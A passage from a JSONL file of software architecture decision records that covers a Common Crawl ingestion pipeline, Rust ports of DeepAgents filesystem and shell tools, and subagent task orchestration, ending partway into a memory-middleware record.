\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n \u2502 \u2502 WET text \u2502\u2500\u2500S3\u2500\u2500\u25ba\u2502 Content \u2502 \u2502 Dedup + Embed \u2502 \u2502\n \u2502 \u2502 extracts \u2502 GET \u2502 Extract \u2502 \u2502 + Store \u2502 \u2502\n \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n \u2502 \u2502\n \u2502 Cloud Dataflow / Cloud Run Job (batch processing) \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### 10.4 Three-Tier Processing Strategy\n\n#### Tier 1: Targeted CDX Queries (Real-Time)\n\nQuery the Common Crawl index for specific domains or URL patterns, then fetch individual pages:\n\n```bash\n# Query CC index for a specific domain\ncurl \"https://index.commoncrawl.org/CC-MAIN-2026-13-index?url=arxiv.org/abs/*&output=json&limit=100\"\n```\n\nEach CDX result includes WARC offset/length, enabling surgical S3 range-GET for individual pages. This tier integrates directly with the pipeline inject endpoint:\n\n```\nCDX query \u2192 filter by domain/date \u2192 range-GET from S3 \u2192 text extract \u2192 POST /v1/pipeline/inject\n```\n\n**Volume**: 10-1000 pages per query, sub-second per page\n**Use case**: Targeted enrichment of specific knowledge domains\n\n#### Tier 2: WET Segment Processing (Batch)\n\nDownload pre-extracted text (WET files) and process in batches via Cloud Run Jobs:\n\n```\ngs://commoncrawl-staging/ \u2190 download WET segments (~150MB each)\n \u2193\nCloud Run Job: extract \u2192 filter by language/quality \u2192 chunk \u2192 deduplicate\n \u2193\nPOST /v1/pipeline/inject/batch (100 items per batch)\n```\n\n**Volume**: ~100K pages per WET segment, ~56K segments per crawl\n**Use case**: Broad knowledge acquisition across all domains\n\nQuality filters applied:\n- Language detection (English primary, multi-language secondary)\n- Content length \u2265 200 characters\n- Boilerplate ratio < 0.5 (ads, navigation, footers removed)\n- Perplexity scoring (reject incoherent text)\n- Domain blocklist (spam, porn, malware sites)\n\n#### Tier 3: Full Corpus Analytics (Offline)\n\nProcess entire CC crawls via Cloud Dataflow for statistical analysis:\n\n```\nS3 (commoncrawl) \u2192 Cloud Dataflow (Apache Beam) \u2192 BigQuery (analytics)\n \u2192 GCS (filtered corpus)\n \u2192 Brain (top-k by domain)\n```\n\n**Volume**: Billions of pages per crawl\n**Use case**: Corpus-level statistics, domain coverage analysis, embedding space mapping\n\n### 10.5 Common Crawl Adapter\n\nNew pipeline adapter for CC data:\n\n```rust\n/// Common Crawl CDX index query result\nstruct CdxRecord {\n url: String,\n timestamp: String,\n status: u16,\n mime: String,\n length: u64,\n offset: u64,\n filename: String, // WARC file path on S3\n}\n\n/// Fetch a single page from Common Crawl via WARC range-GET\nasync fn fetch_cc_page(record: &CdxRecord) -> Result<String, Error> {\n let warc_url = format!(\"https://data.commoncrawl.org/{}\", record.filename);\n // HTTP Range request for exact byte range\n let response = client.get(&warc_url)\n .header(\"Range\", format!(\"bytes={}-{}\", record.offset, record.offset + record.length - 1))\n .send().await?;\n // Parse WARC record, extract HTML, convert to text\n extract_text_from_warc(response.bytes().await?)\n}\n```\n\n### 10.6 Quality & Deduplication Strategy\n\n| Stage | Method | Purpose |\n|-------|--------|---------|\n| URL dedup | Bloom filter (1M URLs, 0.1% FPR) | Prevent re-fetching known URLs |\n| Content dedup | SHA3-256 normalized hash | Prevent storing duplicate content |\n| Embedding dedup | Cosine similarity > 0.95 threshold | Prevent near-duplicate semantic content |\n| Quality filter | Perplexity + boilerplate ratio | Reject low-quality text |\n| PII strip | 15 compiled regexes | Remove emails, phones, SSNs from CC data |\n| Novelty scoring | 1.0 - max(cosine_sim to existing) | Prioritize novel content |\n\n### 10.7 Scheduling\n\n| Job | Schedule | Volume | Duration |\n|-----|----------|--------|----------|\n| CDX targeted queries | Every 6 hours | ~500 pages/run | ~5 min |\n| WET segment batch | Daily 2 AM | ~10K pages/run | ~30 min |\n| Full crawl processing | Monthly (after CC release) | ~1M pages | ~24h (Dataflow) |\n| Domain coverage report | Weekly | Analytics only | ~10 min |\n\n### 10.8 Cost Estimates\n\n| Component | Monthly Cost | Notes |\n|-----------|-------------|-------|\n| S3 egress (CC data) | $0 | Free via requester-pays (AWS covers CC hosting) |\n| GCS staging | ~$5 | Temporary storage for WET segments |\n| Cloud Run Jobs | ~$10 | Batch processing compute |\n| Cloud Dataflow | ~$50 | Full crawl processing (monthly) |\n| Pub/Sub throughput | ~$2 | Message delivery for injection |\n| **Total** | **~$67/month** | For moderate-volume CC integration |\n\n### 10.9 Other Open Data Sources\n\nThe pipeline also supports these open data sources via the feed/inject system:\n\n| Source | Type | Content | Integration |\n|--------|------|---------|-------------|\n| **Wikipedia dumps** | XML/SQL | 6M+ articles | Monthly batch via WET-style processing |\n| **arXiv** | RSS + API | Scientific papers | Feed ingestion (`/v1/pipeline/feeds`) |\n| **PubMed** | XML + API | Medical literature | Existing `pubmed.rs` adapter |\n| **OpenAlex** | REST API | Academic graph (250M+ works) | Batch inject via API polling |\n| **Semantic Scholar** | REST API | CS papers + citations | Feed + batch inject |\n| **Project Gutenberg** | Text | Public domain books | One-time batch import |\n| **Stack Overflow** | Data dump | Programming Q&A | Quarterly batch via archive.org |\n| **HuggingFace Datasets** | Parquet/JSON | ML datasets | Selective batch import |\n| **GDELT** | CSV/BigQuery | Global events database | Real-time via Pub/Sub |\n| **NOAA** | API/CSV | Climate + weather data | Feed ingestion |\n| **USPTO** | XML/API | Patent filings | Weekly batch import |\n| **SEC EDGAR** | XML/API | Financial filings | Daily feed ingestion |\n\n## 11. File Inventory\n\n| File | Purpose |\n|------|---------|\n| `src/pipeline.rs` | Data injection pipeline, Pub/Sub client, feed ingestion, metrics |\n| `src/routes.rs` | 8 new `/v1/pipeline/*` endpoint handlers |\n| `src/types.rs` | `PipelineState`, `InjectRequest`, `BatchInjectRequest`, `PubSubPushMessage`, `OptimizeRequest`, `FeedConfig`, response types |\n| `cloud/scheduler-jobs.yaml` | 7 Cloud Scheduler job definitions |\n| `cloud/setup-pubsub.sh` | Pub/Sub topic/subscription/IAM setup |\n| `cloud/deploy-scheduler.sh` | Scheduler job deployment script |\n| `cloud/deploy-all.sh` | Full end-to-end deployment |\n| `cloud/monitoring-dashboard.json` | Cloud Monitoring 10-tile dashboard |\n\n## 12. Acceptance Criteria\n\n1. `POST /v1/pipeline/inject` stores a memory with witness chain and returns 201\n2. `POST /v1/pipeline/inject/batch` processes 100 items and returns aggregate results\n3. `POST /v1/pipeline/pubsub` accepts Pub/Sub push format, decodes base64, stores memory\n4. `POST /v1/pipeline/optimize` runs all 6 actions and returns per-action results\n5. `GET /v1/pipeline/metrics` returns current pipeline counters\n6. Cloud Scheduler jobs fire on schedule and hit optimize endpoint\n7. Pub/Sub push subscription delivers to Cloud Run endpoint\n8. `cargo check` passes with all new code\n9. No new dependencies added to `Cargo.toml`\n\n## 13. Consequences\n\n### Positive\n\n- **Real-time ingestion**: External systems can push data via Pub/Sub without polling\n- **Automated optimization**: Brain self-maintains without manual intervention\n- **Observability**: Pipeline metrics + Cloud Monitoring provide full visibility\n- **Scalability**: Pub/Sub handles backpressure; Cloud Run scales 1-10 instances\n- **Reliability**: Pub/Sub retry + content hash dedup = at-least-once delivery without duplicates\n\n### Negative\n\n- **Operational complexity**: 7 scheduler jobs + 3 Pub/Sub topics to manage\n- **Cost**: Cloud Scheduler ($0.10/job/month), Pub/Sub ($0.04/GB), min-instances=1 on Cloud Run\n- **In-memory state**: Pipeline metrics reset on Cloud Run instance restart (acceptable \u2014 Firestore has durable data)\n\n### Risks\n\n- **Pub/Sub push storms**: If a topic has a burst of messages, Cloud Run may scale rapidly \u2014 mitigated by concurrency=80 and rate limiting\n- **Optimization contention**: Concurrent optimize requests could conflict \u2014 mitigated by `parking_lot::RwLock` on shared state\n- **Feed polling overhead**: Many feeds could consume significant HTTP bandwidth \u2014 mitigated by configurable poll intervals and per-feed dedup", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-096-cloud-pipeline-realtime-optimization.md", "created_at": "2026-03-28T11:58:49.941949+00:00", "content_hash": "380e073654270ad507c9adec2e57cabfe00be6c75d971797ecc52e5d80c20559"} +{"id": "a29e9b41-51a9-486f-9af0-73c39712332b", "source": "adr", "text": "# ADR-096: Tool System \u2014 Filesystem, Execute, Grep, Glob\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Accepted |\n| **Date** | 2026-03-14 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents Rust Conversion) |\n| **Crate** | `ruvector-deep-tools` |\n\n## Context\n\nDeepAgents' `FilesystemMiddleware` injects 7 core tools into the agent:\n\n| Tool | Python Signature | Description |\n|------|-----------------|-------------|\n| `ls` | `ls(path, runtime)` | List directory contents |\n| `read_file` | `read_file(file_path, offset?, limit?, runtime)` | Read file with line numbers |\n| `write_file` | `write_file(file_path, content, runtime)` | Create new file |\n| `edit_file` | `edit_file(file_path, old_string, new_string, replace_all?, runtime)` | String replacement |\n| `glob` | `glob(pattern, path?, runtime)` | File pattern matching |\n| `grep` | `grep(pattern, path?, include?, runtime)` | Literal text search |\n| `execute` | `execute(command, timeout?, runtime)` | Shell command execution |\n\nPlus a `write_todos` tool from `TodoListMiddleware`:\n\n| Tool | Python Signature | Description |\n|------|-----------------|-------------|\n| `write_todos` | `write_todos(todos, runtime)` | Manage a todo list |\n\n## Decision\n\n### Tool Trait\n\n```rust\n// crates/ruvector-deep-tools/src/lib.rs\n\nuse async_trait::async_trait;\nuse serde::{Deserialize, Serialize};\n\n/// Tool parameter with description (mirrors Python's Annotated[T, \"description\"])\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct ToolParam<T> {\n pub value: T,\n pub description: &'static str,\n}\n\n/// Runtime context passed to tool functions.\n/// Python: ToolRuntime\npub struct ToolRuntime {\n pub state: AgentState,\n pub context: serde_json::Value,\n pub stream_writer: Option<Box<dyn StreamWriter>>,\n pub store: Option<Box<dyn Store>>,\n pub config: RunnableConfig,\n pub tool_call_id: Option<String>,\n}\n\n/// Result from tool execution \u2014 either content or a state update command.\n/// Python: str | Command\npub enum ToolResult {\n /// Plain text result\n Text(String),\n /// State update command (used by write_file, edit_file for StateBackend)\n Command(StateUpdate),\n}\n\n/// Core tool trait.\n/// Python: BaseTool / StructuredTool\n#[async_trait]\npub trait Tool: Send + Sync {\n fn name(&self) -> &str;\n fn description(&self) -> &str;\n fn parameters_schema(&self) -> serde_json::Value;\n\n fn invoke(&self, args: serde_json::Value, runtime: &ToolRuntime) -> ToolResult;\n async fn ainvoke(&self, args: serde_json::Value, runtime: &ToolRuntime) -> ToolResult;\n}\n```\n\n### Tool Implementations\n\n#### `ls` Tool\n\n```rust\n/// Python: FilesystemMiddleware._create_tools() \u2192 ls function\n/// Lists directory contents with file metadata.\npub struct LsTool {\n backend: BackendRef,\n}\n\nimpl Tool for LsTool {\n fn name(&self) -> &str { \"ls\" }\n\n fn invoke(&self, args: Value, runtime: &ToolRuntime) -> ToolResult {\n let path: String = args[\"path\"].as_str().unwrap_or(\"/\").to_string();\n let backend = self.resolve_backend(runtime);\n let infos = backend.ls_info(&path);\n\n // Format output: Python uses specific formatting with GLOB_TIMEOUT\n let output = format_ls_output(&infos);\n ToolResult::Text(output)\n }\n}\n```\n\n#### `read_file` Tool\n\n```rust\n/// Python: read_file(file_path, offset=0, limit=100, runtime)\n/// DEFAULT_READ_OFFSET = 0, DEFAULT_READ_LIMIT = 100\npub struct ReadFileTool {\n backend: BackendRef,\n}\n\nimpl Tool for ReadFileTool {\n fn invoke(&self, args: Value, runtime: &ToolRuntime) -> ToolResult {\n let file_path = args[\"file_path\"].as_str().unwrap();\n let offset = args.get(\"offset\").and_then(|v| v.as_u64()).unwrap_or(0) as usize;\n let limit = args.get(\"limit\").and_then(|v| v.as_u64()).unwrap_or(100) as usize;\n\n let backend = self.resolve_backend(runtime);\n let content = backend.read(file_path, offset, limit);\n\n // Handle empty content warning\n // Python: EMPTY_CONTENT_WARNING = \"System reminder: File exists but has empty contents\"\n ToolResult::Text(content)\n }\n}\n```\n\n#### `write_file` Tool\n\n```rust\n/// Python: write_file(file_path, content, runtime) -> str | Command\n/// Returns Command with files_update for StateBackend, text for others.\npub struct WriteFileTool {\n backend: BackendRef,\n}\n\nimpl Tool for WriteFileTool {\n fn invoke(&self, args: Value, runtime: &ToolRuntime) -> ToolResult {\n let file_path = args[\"file_path\"].as_str().unwrap();\n let content = args[\"content\"].as_str().unwrap();\n\n let backend = self.resolve_backend(runtime);\n let result = backend.write(file_path, content);\n\n match result.error {\n Some(err) => ToolResult::Text(err),\n None => {\n if let Some(files_update) = result.files_update {\n // StateBackend: return Command to update LangGraph state\n ToolResult::Command(StateUpdate::FilesUpdate(files_update))\n } else {\n // Filesystem/Sandbox: file already written, return success\n ToolResult::Text(format!(\"Successfully wrote to {}\", file_path))\n }\n }\n }\n }\n}\n```\n\n#### `edit_file` Tool\n\n```rust\n/// Python: edit_file(file_path, old_string, new_string, replace_all=False, runtime)\n/// Exact string replacement with uniqueness check.\npub struct EditFileTool {\n backend: BackendRef,\n}\n\nimpl Tool for EditFileTool {\n fn invoke(&self, args: Value, runtime: &ToolRuntime) -> ToolResult {\n let file_path = args[\"file_path\"].as_str().unwrap();\n let old_string = args[\"old_string\"].as_str().unwrap();\n let new_string = args[\"new_string\"].as_str().unwrap();\n let replace_all = args.get(\"replace_all\").and_then(|v| v.as_bool()).unwrap_or(false);\n\n let backend = self.resolve_backend(runtime);\n let result = backend.edit(file_path, old_string, new_string, replace_all);\n\n match result.error {\n Some(err) => ToolResult::Text(err),\n None => {\n if let Some(files_update) = result.files_update {\n ToolResult::Command(StateUpdate::FilesUpdate(files_update))\n } else {\n let occurrences = result.occurrences.unwrap_or(1);\n ToolResult::Text(format!(\n \"Successfully edited {} ({} occurrence{})\",\n file_path, occurrences,\n if occurrences != 1 { \"s\" } else { \"\" }\n ))\n }\n }\n }\n }\n}\n```\n\n#### `glob` Tool\n\n```rust\n/// Python: glob(pattern, path=\"/\", runtime) -> formatted file list\npub struct GlobTool {\n backend: BackendRef,\n}\n\nimpl Tool for GlobTool {\n fn invoke(&self, args: Value, runtime: &ToolRuntime) -> ToolResult {\n let pattern = args[\"pattern\"].as_str().unwrap();\n let path = args.get(\"path\").and_then(|v| v.as_str()).unwrap_or(\"/\");\n\n let backend = self.resolve_backend(runtime);\n\n // Python uses concurrent.futures with GLOB_TIMEOUT = 20.0\n let infos = backend.glob_info(pattern, path);\n let output = format_glob_output(&infos);\n ToolResult::Text(output)\n }\n}\n```\n\n#### `grep` Tool\n\n```rust\n/// Python: grep(pattern, path=None, include=None, runtime) -> formatted matches\n/// Note: Python param is 'include' (renamed from 'glob' for LLM clarity)\npub struct GrepTool {\n backend: BackendRef,\n}\n\nimpl Tool for GrepTool {\n fn invoke(&self, args: Value, runtime: &ToolRuntime) -> ToolResult {\n let pattern = args[\"pattern\"].as_str().unwrap();\n let path = args.get(\"path\").and_then(|v| v.as_str());\n let include = args.get(\"include\").and_then(|v| v.as_str());\n\n let backend = self.resolve_backend(runtime);\n match backend.grep_raw(pattern, path, include) {\n Ok(matches) => {\n // Python: format_grep_matches() \u2014 path:line:text format\n let output = format_grep_output(&matches);\n ToolResult::Text(output)\n }\n Err(err) => ToolResult::Text(err),\n }\n }\n}\n```\n\n#### `execute` Tool\n\n```rust\n/// Python: execute(command, timeout=None, runtime)\n/// Only available when backend implements SandboxBackendProtocol.\npub struct ExecuteTool {\n backend: BackendRef,\n}\n\nimpl Tool for ExecuteTool {\n fn invoke(&self, args: Value, runtime: &ToolRuntime) -> ToolResult {\n let command = args[\"command\"].as_str().unwrap();\n let timeout = args.get(\"timeout\").and_then(|v| v.as_u64()).map(|t| t as u32);\n\n let backend = self.resolve_backend(runtime);\n\n // Check if backend supports execution\n if let Some(sandbox) = backend.as_sandbox() {\n let response = sandbox.execute(command, timeout);\n ToolResult::Text(response.output)\n } else {\n ToolResult::Text(\n \"Error: Shell execution is not available. \\\n The current backend does not support command execution.\"\n .to_string()\n )\n }\n }\n}\n```\n\n#### `write_todos` Tool\n\n```rust\n/// Python: TodoListMiddleware provides write_todos tool\n/// Manages a structured todo list in agent state.\npub struct WriteTodosTool;\n\nimpl Tool for WriteTodosTool {\n fn name(&self) -> &str { \"write_todos\" }\n\n fn invoke(&self, args: Value, runtime: &ToolRuntime) -> ToolResult {\n let todos: Vec<TodoItem> = serde_json::from_value(args[\"todos\"].clone()).unwrap();\n ToolResult::Command(StateUpdate::Todos(todos))\n }\n}\n```\n\n### Image File Handling\n\n```rust\n/// Python: IMAGE_EXTENSIONS = {\".png\", \".jpg\", \".jpeg\", \".gif\", \".webp\"}\n/// read_file returns base64 image content blocks for image files.\nconst IMAGE_EXTENSIONS: &[&str] = &[\".png\", \".jpg\", \".jpeg\", \".gif\", \".webp\"];\n\nfn is_image_file(path: &str) -> bool {\n IMAGE_EXTENSIONS.iter().any(|ext| path.to_lowercase().ends_with(ext))\n}\n```\n\n### Output Formatting (Exact Fidelity)\n\n```rust\n/// Python: LINE_NUMBER_WIDTH = 6\n/// Format: \" 1\\tcontent\" (6-char right-aligned line number + tab + content)\nconst LINE_NUMBER_WIDTH: usize = 6;\n\npub fn format_content_with_line_numbers(lines: &[&str], start_line: usize) -> String {\n lines.iter().enumerate().map(|(i, line)| {\n let line_num = start_line + i;\n // Truncate lines longer than 2000 chars (same as Python)\n let truncated = if line.len() > 2000 { &line[..2000] } else { line };\n format!(\"{:>width$}\\t{}\", line_num, truncated, width = LINE_NUMBER_WIDTH)\n }).collect::<Vec<_>>().join(\"\\n\")\n}\n```\n\n## Consequences\n\n- All 8 tools ported with identical signatures and behavior\n- Tool results match Python output format character-for-character\n- StateBackend's `Command` return pattern preserved via `ToolResult::Command`\n- Image file detection uses same extension set\n- Line number formatting matches `cat -n` style exactly", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-096-deepagents-tool-system.md", "created_at": "2026-03-28T11:58:49.942113+00:00", "content_hash": "a9a0598a6f4c86899ccc07141e04fec4c4aaa242fb2f57db81574ce60f3ca1b0"} +{"id": "258c15a5-b5f0-44fc-a6bf-d74f5f29af8e", "source": "adr", "text": "# ADR-097: SubAgent & Task Orchestration\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Accepted |\n| **Date** | 2026-03-14 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents Rust Conversion) |\n| **Crate** | `ruvector-deep-subagents` |\n\n## Context\n\nDeepAgents' `SubAgentMiddleware` provides a `task` tool that spawns ephemeral subagents with isolated context. Key behaviors:\n\n1. **SubAgent spec** \u2014 `TypedDict` with name, description, system_prompt, optional model/tools/middleware\n2. **CompiledSubAgent** \u2014 Pre-built runnable with name and description\n3. **General-purpose agent** \u2014 Default subagent with same tools as parent\n4. **State isolation** \u2014 Excluded keys: `messages`, `todos`, `structured_response`, `skills_metadata`, `memory_contents`\n5. **Task tool** \u2014 Accepts `description` and `subagent_type`, returns subagent's final message\n6. **System prompt injection** \u2014 TASK_SYSTEM_PROMPT appended to parent's system prompt\n7. **Parallel execution** \u2014 LLM can invoke multiple task tools in one message\n\n## Decision\n\n### SubAgent Types\n\n```rust\n// crates/ruvector-deep-subagents/src/lib.rs\n\nuse serde::{Deserialize, Serialize};\n\n/// SubAgent specification (not yet compiled).\n/// Python: SubAgent(TypedDict)\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct SubAgentSpec {\n pub name: String,\n pub description: String,\n pub system_prompt: String,\n #[serde(default)]\n pub tools: Option<Vec<ToolSpec>>,\n #[serde(default)]\n pub model: Option<ModelSpec>,\n #[serde(default)]\n pub middleware: Option<Vec<MiddlewareSpec>>,\n #[serde(default)]\n pub interrupt_on: Option<HashMap<String, InterruptConfig>>,\n #[serde(default)]\n pub skills: Option<Vec<String>>,\n}\n\n/// Pre-compiled subagent with a runnable graph.\n/// Python: CompiledSubAgent(TypedDict)\npub struct CompiledSubAgent {\n pub name: String,\n pub description: String,\n pub runnable: Box<dyn AgentRunnable>,\n}\n\n/// Trait for runnable agent graphs.\n/// Python: langgraph Runnable with 'messages' in state\n#[async_trait]\npub trait AgentRunnable: Send + Sync {\n fn invoke(&self, state: AgentState) -> AgentState;\n async fn ainvoke(&self, state: AgentState) -> AgentState;\n}\n\n/// Model specification \u2014 either a string (\"provider:model\") or configured instance.\n/// Python: str | BaseChatModel\n#[derive(Debug, Clone, Serialize, Deserialize)]\n#[serde(untagged)]\npub enum ModelSpec {\n String(String),\n Config(ModelConfig),\n}\n```\n\n### General-Purpose SubAgent\n\n```rust\n/// Python: GENERAL_PURPOSE_SUBAGENT constant\npub const GENERAL_PURPOSE_NAME: &str = \"general-purpose\";\n\npub const GENERAL_PURPOSE_DESCRIPTION: &str =\n \"General-purpose agent for researching complex questions, searching for files \\\n and content, and executing multi-step tasks. When you are searching for a keyword \\\n or file and are not confident that you will find the right match in the first few \\\n tries use this agent to perform the search for you. This agent has access to all \\\n tools as the main agent.\";\n\npub const DEFAULT_SUBAGENT_PROMPT: &str =\n \"In order to complete the objective that the user asks of you, you have access \\\n to a number of standard tools.\";\n```\n\n### State Isolation\n\n```rust\n/// Keys excluded when passing state to/from subagents.\n/// Python: _EXCLUDED_STATE_KEYS\nconst EXCLUDED_STATE_KEYS: &[&str] = &[\n \"messages\",\n \"todos\",\n \"structured_response\",\n \"skills_metadata\",\n \"memory_contents\",\n];\n\n/// Filter state for subagent invocation.\nfn prepare_subagent_state(parent_state: &AgentState, task_description: &str) -> AgentState {\n let mut state: AgentState = parent_state\n .iter()\n .filter(|(k, _)| !EXCLUDED_STATE_KEYS.contains(&k.as_str()))\n .map(|(k, v)| (k.clone(), v.clone()))\n .collect();\n\n // Replace messages with single HumanMessage containing the task description\n state.insert(\n \"messages\".to_string(),\n serde_json::json!([{\"type\": \"human\", \"content\": task_description}]),\n );\n\n state\n}\n\n/// Extract result from subagent state.\n/// Python: _return_command_with_state_update\nfn extract_subagent_result(\n result: AgentState,\n tool_call_id: &str,\n) -> ToolResult {\n let messages = result.get(\"messages\")\n .expect(\"CompiledSubAgent must return state with 'messages' key\");\n\n let final_message = messages.as_array().unwrap().last().unwrap();\n let message_text = final_message[\"content\"].as_str().unwrap_or(\"\").trim_end();\n\n // Collect non-excluded state updates\n let state_update: AgentState = result\n .into_iter()\n .filter(|(k, _)| !EXCLUDED_STATE_KEYS.contains(&k.as_str()))\n .collect();\n\n ToolResult::Command(StateUpdate::SubAgentResult {\n state_update,\n tool_message: ToolMessage {\n content: message_text.to_string(),\n tool_call_id: tool_call_id.to_string(),\n },\n })\n}\n```\n\n### Task Tool Construction\n\n```rust\n/// Build the task tool from subagent specs.\n/// Python: _build_task_tool(subagents, task_description)\npub fn build_task_tool(\n subagents: &[CompiledSubAgent],\n task_description: Option<&str>,\n) -> Box<dyn Tool> {\n let graphs: HashMap<String, &dyn AgentRunnable> = subagents\n .iter()\n .map(|s| (s.name.clone(), s.runnable.as_ref()))\n .collect();\n\n let agents_desc = subagents\n .iter()\n .map(|s| format!(\"- {}: {}\", s.name, s.description))\n .collect::<Vec<_>>()\n .join(\"\\n\");\n\n let description = match task_description {\n Some(desc) if desc.contains(\"{available_agents}\") => {\n desc.replace(\"{available_agents}\", &agents_desc)\n }\n Some(desc) => desc.to_string(),\n None => TASK_TOOL_DESCRIPTION.replace(\"{available_agents}\", &agents_desc),\n };\n\n Box::new(TaskTool {\n graphs,\n description,\n })\n}\n\nstruct TaskTool {\n graphs: HashMap<String, Box<dyn AgentRunnable>>,\n description: String,\n}\n\n#[async_trait]\nimpl Tool for TaskTool {\n fn name(&self) -> &str { \"task\" }\n fn description(&self) -> &str { &self.description }\n\n fn invoke(&self, args: Value, runtime: &ToolRuntime) -> ToolResult {\n let description = args[\"description\"].as_str().unwrap();\n let subagent_type = args[\"subagent_type\"].as_str().unwrap();\n\n // Validate subagent type exists\n let runnable = match self.graphs.get(subagent_type) {\n Some(r) => r,\n None => {\n let allowed = self.graphs.keys()\n .map(|k| format!(\"`{}`\", k))\n .collect::<Vec<_>>()\n .join(\", \");\n return ToolResult::Text(format!(\n \"We cannot invoke subagent {} because it does not exist, \\\n the only allowed types are {}\",\n subagent_type, allowed\n ));\n }\n };\n\n let tool_call_id = runtime.tool_call_id.as_ref()\n .expect(\"Tool call ID is required for subagent invocation\");\n\n let subagent_state = prepare_subagent_state(&runtime.state, description);\n let result = runnable.invoke(subagent_state);\n extract_subagent_result(result, tool_call_id)\n }\n\n async fn ainvoke(&self, args: Value, runtime: &ToolRuntime) -> ToolResult {\n // Same logic but with ainvoke on the runnable\n let description = args[\"description\"].as_str().unwrap();\n let subagent_type = args[\"subagent_type\"].as_str().unwrap();\n\n let runnable = match self.graphs.get(subagent_type) {\n Some(r) => r,\n None => {\n let allowed = self.graphs.keys()\n .map(|k| format!(\"`{}`\", k))\n .collect::<Vec<_>>()\n .join(\", \");\n return ToolResult::Text(format!(\n \"We cannot invoke subagent {} because it does not exist, \\\n the only allowed types are {}\",\n subagent_type, allowed\n ));\n }\n };\n\n let tool_call_id = runtime.tool_call_id.as_ref()\n .expect(\"Tool call ID is required for subagent invocation\");\n\n let subagent_state = prepare_subagent_state(&runtime.state, description);\n let result = runnable.ainvoke(subagent_state).await;\n extract_subagent_result(result, tool_call_id)\n }\n}\n```\n\n### SubAgentMiddleware\n\n```rust\n/// Python: SubAgentMiddleware(AgentMiddleware)\npub struct SubAgentMiddleware {\n task_tool: Box<dyn Tool>,\n system_prompt: Option<String>,\n}\n\nimpl SubAgentMiddleware {\n pub fn new(\n backend: BackendRef,\n subagents: Vec<SubAgentSpec>,\n system_prompt: Option<String>,\n ) -> Self {\n // Build compiled subagents from specs\n // Each subagent gets its own middleware pipeline:\n // TodoList, Filesystem, Summarization, PromptCaching, PatchToolCalls\n let compiled = compile_subagents(backend, subagents);\n let task_tool = build_task_tool(&compiled, None);\n\n // Build system prompt with agent descriptions\n let prompt = system_prompt.unwrap_or_else(|| TASK_SYSTEM_PROMPT.to_string());\n let agents_desc = compiled.iter()\n .map(|s| format!(\"- {}: {}\", s.name, s.description))\n .collect::<Vec<_>>()\n .join(\"\\n\");\n let full_prompt = format!(\"{}\\n\\nAvailable subagent types:\\n{}\", prompt, agents_desc);\n\n Self {\n task_tool,\n system_prompt: Some(full_prompt),\n }\n }\n}\n\nimpl Middleware for SubAgentMiddleware {\n fn tools(&self) -> Vec<Box<dyn Tool>> {\n vec![self.task_tool.clone()]\n }\n\n fn wrap_model_call(\n &self,\n request: ModelRequest<()>,\n handler: &dyn Fn(ModelRequest<()>) -> ModelResponse<()>,\n ) -> ModelResponse<()> {\n if let Some(ref prompt) = self.system_prompt {\n let new_system = append_to_system_message(&request.system_message, prompt);\n handler(request.override_system(new_system))\n } else {\n handler(request)\n }\n }\n}\n```\n\n### System Prompts (Exact Fidelity)\n\nThe following prompts are preserved verbatim from Python:\n\n- `TASK_TOOL_DESCRIPTION` \u2014 237 lines of tool description with examples\n- `TASK_SYSTEM_PROMPT` \u2014 Instructions for when/how to use task tool\n- `BASE_AGENT_PROMPT` \u2014 Core agent behavior instructions\n\nAll stored as `const &str` in Rust with identical content.\n\n## Consequences\n\n- Task tool behavior is identical: same validation, same error messages, same state isolation\n- Subagent compilation mirrors Python's `create_agent()` with same middleware stack\n- General-purpose subagent is auto-included unless overridden by name\n- Parallel task invocation supported (LLM sends multiple tool_calls)\n- State isolation prevents leakage of todos, skills, memory between agents", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-097-deepagents-subagent-orchestration.md", "created_at": "2026-03-28T11:58:49.942241+00:00", "content_hash": "da7cdc16f00011986e900025155203c3fb25f9a213a1c0c32930c05d8a5b9580"} +{"id": "be52e78d-f983-4a5f-81b8-acedfe69614a", "source": "adr", "text": "# ADR-098: Memory, Skills & Summarization Middleware\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Accepted |\n| **Date** | 2026-03-14 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents Rust Conversion) |\n| **Crate** | `ruvector-deep-middleware` |\n\n## Context\n\nThree middleware layers handle persistent context and conversation management:\n\n1. **MemoryMiddleware** \u2014 Loads AGENTS.md files into system prompt with learning guidelines\n2. **SkillsMiddleware** \u2014 Progressive disclosure of SKILL.md files with YAML frontmatter\n3. **SummarizationMiddleware** \u2014 Auto-compact conversations when token budget exceeded\n\n## Decision\n\n### 1. MemoryMiddleware\n\n```rust\n/// Python: MemoryMiddleware(AgentMiddleware[MemoryState, ContextT, ResponseT])\npub struct MemoryMiddleware {\n backend: BackendRef,\n sources: 